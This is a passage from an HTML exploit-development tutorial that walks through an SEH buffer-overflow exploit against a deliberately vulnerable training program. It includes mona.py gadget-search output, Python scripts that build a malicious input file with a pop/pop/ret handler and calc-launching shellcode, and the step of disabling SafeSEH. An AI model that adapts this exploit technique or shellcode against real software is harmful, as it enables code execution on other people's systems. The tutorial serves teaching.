0x75dd4e18 | 0x75dd4e18 (b+0x00014e18) : pop edi # pop ebp # retn 24h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfd75d | 0x75dfd75d (b+0x0003d75d) : pop esi # pop ebx # retn | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfd916 | 0x75dfd916 (b+0x0003d916) : pop esi # pop ebx # retn | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dd4f7c | 0x75dd4f7c (b+0x00014f7c) : pop ebx # pop ebp # retn 14h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75ddf840 | 0x75ddf840 (b+0x0001f840) : pop ebx # pop ebp # retn 14h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfc1ca | 0x75dfc1ca (b+0x0003c1ca) : pop ebx # pop ebp # retn 14h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e7a327 | 0x75e7a327 (b+0x000ba327) : pop ebx # pop ebp # retn 14h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75de1267 | 0x75de1267 (b+0x00021267) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75defda1 | 0x75defda1 (b+0x0002fda1) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfb33c | 0x75dfb33c (b+0x0003b33c) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfbf8a | 0x75dfbf8a (b+0x0003bf8a) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75dfda42 | 0x75dfda42 (b+0x0003da42) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e45960 | 0x75e45960 (b+0x00085960) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e47b36 | 0x75e47b36 (b+0x00087b36) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e4a53f | 0x75e4a53f (b+0x0008a53f) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e5e294 | 0x75e5e294 (b+0x0009e294) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e65641 | 0x75e65641 (b+0x000a5641) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e6a121 | 0x75e6a121 (b+0x000aa121) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e77bf1 | 0x75e77bf1 (b+0x000b7bf1) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x75e7930d | 0x75e7930d (b+0x000b930d) : pop ebx # pop ebp # retn 10h | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
... Please wait while I'm processing all remaining results and writing everything to file...
[+] Done. Only the first 20 pointers are shown here. For more pointers, open findwild.txt...
Found a total of 396 pointers
[+] This mona.py action took 0:00:12.400000</pre><p>Let’s choose the second one:</p><pre class="ignore:true">0x75dfd75d | 0x75dfd75d (b+0x0003d75d) : pop esi # pop ebx # retn</pre><p>So our schema becomes like this:<br>
<a href="images/pic_a3.png"><img src="images/pic_a3.png" alt="pic_a3" width="669" height="367"></a>
</p><p>Here’s the Python code to create <span style="color: #00ff00;">name.dat</span>:</p>
<pre><code class="language-python">with open('c:\\name.dat', 'wb') as f:
jmp = '\xeb\x06\x90\x90'
handler = '\x5d\xd7\xdf\x75'
shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
"\x30\x03\xc6\xeb\xdd")
data = 'a'*84 + jmp + handler + shellcode
f.write(data + 'c' * (10000 - len(data)))
</code></pre>
<p>If you debug <span style="color: #00ff00;">exploitme2.exe</span> in WinDbg you’ll see that there’s something wrong. It seems that our handler (<span style="color: #00ff00;">pop/pop/ret</span>) is not called. Why?</p><p>Let’s have a look at the loaded modules:</p><pre class="ignore:true">0:000> !py mona modules
Hold on...
[+] Command used:
!py mona.py modules
---------- Mona command started on 2015-03-19 00:31:14 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------
Module info :
----------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path
----------------------------------------------------------------------------------------------------------------------------------
0x774b0000 | 0x774ba000 | 0x0000a000 | False | True | True | True | True | 6.1.7601.18768 [LPK.dll] (C:\Windows\syswow64\LPK.dll)
0x00190000 | 0x00196000 | 0x00006000 | False | True | True | False | False | -1.0- [exploitme2.exe] (exploitme2.exe)
0x752d0000 | 0x7532a000 | 0x0005a000 | False | True | True | True | True | 8.0.0.4344 [guard32.dll] (C:\Windows\SysWOW64\guard32.dll)
0x764c0000 | 0x7658c000 | 0x000cc000 | False | True | True | True | True | 6.1.7601.18731 [MSCTF.dll] (C:\Windows\syswow64\MSCTF.dll)
0x76360000 | 0x763a7000 | 0x00047000 | False | True | True | True | True | 6.1.7601.18409 [KERNELBASE.dll] (C:\Windows\syswow64\KERNELBASE.dll)
0x752c0000 | 0x752c9000 | 0x00009000 | False | True | True | True | True | 6.1.7600.16385 [VERSION.dll] (C:\Windows\SysWOW64\VERSION.dll)
0x752b0000 | 0x752b7000 | 0x00007000 | False | True | True | True | True | 6.1.7600.16385 [fltlib.dll] (C:\Windows\SysWOW64\fltlib.dll)
0x758c0000 | 0x7595d000 | 0x0009d000 | False | True | True | True | True | 1.626.7601.18454 [USP10.dll] (C:\Windows\syswow64\USP10.dll)
0x75b50000 | 0x75be0000 | 0x00090000 | False | True | True | True | True | 6.1.7601.18577 [GDI32.dll] (C:\Windows\syswow64\GDI32.dll)
0x75dc0000 | 0x75ed0000 | 0x00110000 | False | True | True | True | True | 6.1.7601.18409 [kernel32.dll] (C:\Windows\syswow64\kernel32.dll)
0x75960000 | 0x75a0c000 | 0x000ac000 | False | True | True | True | True | 7.0.7601.17744 [msvcrt.dll] (C:\Windows\syswow64\msvcrt.dll)
0x75550000 | 0x7555c000 | 0x0000c000 | False | True | True | True | True | 6.1.7600.16385 [CRYPTBASE.dll] (C:\Windows\syswow64\CRYPTBASE.dll)
0x75560000 | 0x755c0000 | 0x00060000 | False | True | True | True | True | 6.1.7601.18779 [SspiCli.dll] (C:\Windows\syswow64\SspiCli.dll)
0x77bd0000 | 0x77d50000 | 0x00180000 | False | True | True | True | True | 6.1.7601.18247 [ntdll.dll] (ntdll.dll)
0x75ed0000 | 0x75f70000 | 0x000a0000 | False | True | True | True | True | 6.1.7601.18247 [ADVAPI32.dll] (C:\Windows\syswow64\ADVAPI32.dll)
0x77660000 | 0x77750000 | 0x000f0000 | False | True | True | True | True | 6.1.7601.18532 [RPCRT4.dll] (C:\Windows\syswow64\RPCRT4.dll)
0x6d510000 | 0x6d5fe000 | 0x000ee000 | False | True | True | True | True | 12.0.21005.1 [MSVCR120.dll] (C:\Windows\SysWOW64\MSVCR120.dll)
0x764a0000 | 0x764b9000 | 0x00019000 | False | True | True | True | True | 6.1.7600.16385 [sechost.dll] (C:\Windows\SysWOW64\sechost.dll)
0x75ab0000 | 0x75ab5000 | 0x00005000 | False | True | True | True | True | 6.1.7600.16385 [PSAPI.DLL] (C:\Windows\syswow64\PSAPI.DLL)
0x761c0000 | 0x762c0000 | 0x00100000 | False | True | True | True | True | 6.1.7601.17514 [USER32.dll] (C:\Windows\syswow64\USER32.dll)
0x762f0000 | 0x76350000 | 0x00060000 | False | True | True | True | True | 6.1.7601.17514 [IMM32.DLL] (C:\Windows\SysWOW64\IMM32.DLL)
----------------------------------------------------------------------------------------------------------------------------------
[+] This mona.py action took 0:00:00.110000</pre><p>Here we can see that all the loaded modules have <span style="color: #00ff00;">SafeSEH = True</span>. This is bad news for us. If a module is compiled with <span style="color: #00ccff;">SafeSEH</span>, then it contains a list of the allowed SEH handlers and any handler whose address is contained in that module but not in the list is ignored.</p><p>The address 0x75dfd75d is in the module <span style="color: #00ff00;">kernel32.dll</span> but not in the list of its allowed handlers so we can’t use it. The common solution is to choose a module with <span style="color: #00ff00;">SafeSEH = False</span>, but in our case all the modules were compiled with SafeSEH enabled.</p><p>Since we’re just learning to walk here, let’s recompile <span style="color: #00ff00;">exploitme2.exe</span> without SafeSEH by changing the configuration in VS 2013 as follows:</p><ul><li>Configuration Properties<ul><li>Linker<ul><li>Advanced<ul><li>Image Has Safe Exception Handlers: No (/SAFESEH:NO)</li></ul></li></ul></li></ul></li></ul><p>Now let’s find a <span style="color: #00ff00;">pop/pop/ret</span> sequence inside <span style="color: #00ff00;">exploitme2.exe</span>:</p><pre class="ignore:true">0:000> !py mona findwild -s "pop r32#pop r32#ret" -m exploitme2.exe
Hold on...
[+] Command used:
!py mona.py findwild -s pop r32#pop r32#ret -m exploitme2.exe
---------- Mona command started on 2015-03-19 00:53:54 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules exploitme2.exe
[+] Type of search: str
[+] Searching for matches up to 8 instructions deep
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Started search (8 start patterns)
[+] Searching startpattern between 0x00e90000 and 0x00e96000
[+] Preparing output file 'findwild.txt'
- (Re)setting logfile findwild.txt
[+] Writing results to findwild.txt
- Number of pointers of type 'pop eax # pop esi # retn' : 1
- Number of pointers of type 'pop ecx # pop ecx # retn' : 1
- Number of pointers of type 'pop edi # pop esi # retn' : 2
- Number of pointers of type 'pop ecx # pop ebp # retn' : 1
- Number of pointers of type 'pop ebx # pop ebp # retn' : 1
[+] Results :
0x00e91802 | 0x00e91802 (b+0x00001802) : pop eax # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e9152f | 0x00e9152f (b+0x0000152f) : pop ecx # pop ecx # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e918e7 | 0x00e918e7 (b+0x000018e7) : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e91907 | 0x00e91907 (b+0x00001907) : pop edi # pop esi # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e9112b | 0x00e9112b (b+0x0000112b) : pop ecx # pop ebp # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
0x00e91630 | 0x00e91630 (b+0x00001630) : pop ebx # pop ebp # retn | startnull {PAGE_EXECUTE_READ} [exploitme2.exe] ASLR: True, Rebase: False, SafeSEH: False, OS: False, v-1.0- (exploitme2.exe)
Found a total of 6 pointers
[+] This mona.py action took 0:00:00.170000</pre><p>We’ll use the first address: 0x00e91802.</p><p>Here’s the updated Python script:</p>
<pre><code class="language-python">with open('c:\\name.dat', 'wb') as f:
jmp = '\xeb\x06\x90\x90'
handler = '\x02\x18\xe9\x00'
shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
"\x30\x03\xc6\xeb\xdd")
data = 'a'*84 + jmp + handler + shellcode
f.write(data + 'c' * (10000 - len(data)))
</code></pre>
<p>Run the script and open <span style="color: #00ff00;">exploitme2.exe</span> (the version without SafeSEH) in WinDbg. Now, as we expected, the calculator pops up! We did it, but we cheated a little bit. Also we’re pretending there’s no <span style="color: #00ccff;">ASLR </span>(for now).</p><h2>Troubleshooting</h2><p>If the exploit doesn’t work on your system, it might be because of limited space on the stack. Read the article <a href="more-space-on-the-stack.html">More space on the stack</a>.</p> </div></div>
</body>
</html>